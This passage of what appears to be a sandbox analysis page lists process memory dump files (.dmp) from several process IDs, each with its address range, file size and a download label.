488KB

Download
memory/2488-11657-0x00000188C8D00000-0x00000188C8D16000-memory.dmp

Filesize
88KB

Download
memory/2488-11663-0x00000188CA830000-0x00000188CA846000-memory.dmp

Filesize
88KB

Download
memory/2488-11795-0x00000188CA8F0000-0x00000188CA8FA000-memory.dmp

Filesize
40KB

Download
memory/2828-11672-0x0000023A33040000-0x0000023A33056000-memory.dmp

Filesize
88KB

Download
memory/2828-11678-0x0000023A34B80000-0x0000023A34B96000-memory.dmp

Filesize
88KB

Download
memory/2836-72-0x000001BEE2A00000-0x000001BEE2B00000-memory.dmp

Filesize
1024KB

Download
memory/2836-73-0x000001BEE2A00000-0x000001BEE2B00000-memory.dmp

Filesize
1024KB

Download
memory/3204-112-0x000001B4E3CA0000-0x000001B4E3CA2000-memory.dmp

Filesize
8KB

Download
memory/3204-90-0x000001B4D2E00000-0x000001B4D2F00000-memory.dmp

Filesize
1024KB

Download
memory/3204-120-0x000001B4E3DF0000-0x000001B4E3DF2000-memory.dmp

Filesize
8KB

Download
memory/3204-118-0x000001B4E3DE0000-0x000001B4E3DE2000-memory.dmp

Filesize
8KB

Download
memory/3204-114-0x000001B4E3CC0000-0x000001B4E3CC2000-memory.dmp

Filesize
8KB

Download
memory/3204-96-0x000001B4E37A0000-0x000001B4E37A2000-memory.dmp

Filesize
8KB

Download
memory/3204-98-0x000001B4E37C0000-0x000001B4E37C2000-memory.dmp

Filesize
8KB

Download
memory/3204-94-0x000001B4E3780000-0x000001B4E3782000-memory.dmp

Filesize
8KB

Download
memory/3204-91-0x000001B4E3750000-0x000001B4E3752000-memory.dmp

Filesize
8KB

Download
memory/3204-116-0x000001B4E3CD0000-0x000001B4E3CD2000-memory.dmp

Filesize
8KB

Download
memory/4320-11653-0x00000295E9940000-0x00000295E9950000-memory.dmp

Filesize
64KB

Download
memory/4320-11647-0x00000295E7E10000-0x00000295E7E20000-memory.dmp

Filesize
64KB

Download
memory/4580-11701-0x000001FCBB9E0000-0x000001FCBB9F8000-memory.dmp

Filesize
96KB

Download
memory/4580-51-0x0000020AEFEA0000-0x0000020AEFF16000-memory.dmp

Filesize
472KB

Download
memory/4580-44-0x0000020AEF230000-0x0000020AEF252000-memory.dmp

Filesize
136KB

Download
memory/4580-11696-0x000001FCB9EB0000-0x000001FCB9EC9000-memory.dmp

Filesize
100KB

Download
memory/4752-252-0x000002ADA8000000-0x000002ADA800A000-memory.dmp

Filesize
40KB

Download
memory/4752-239-0x000002ADA8020000-0x000002ADA8032000-memory.dmp

Filesize
72KB

Download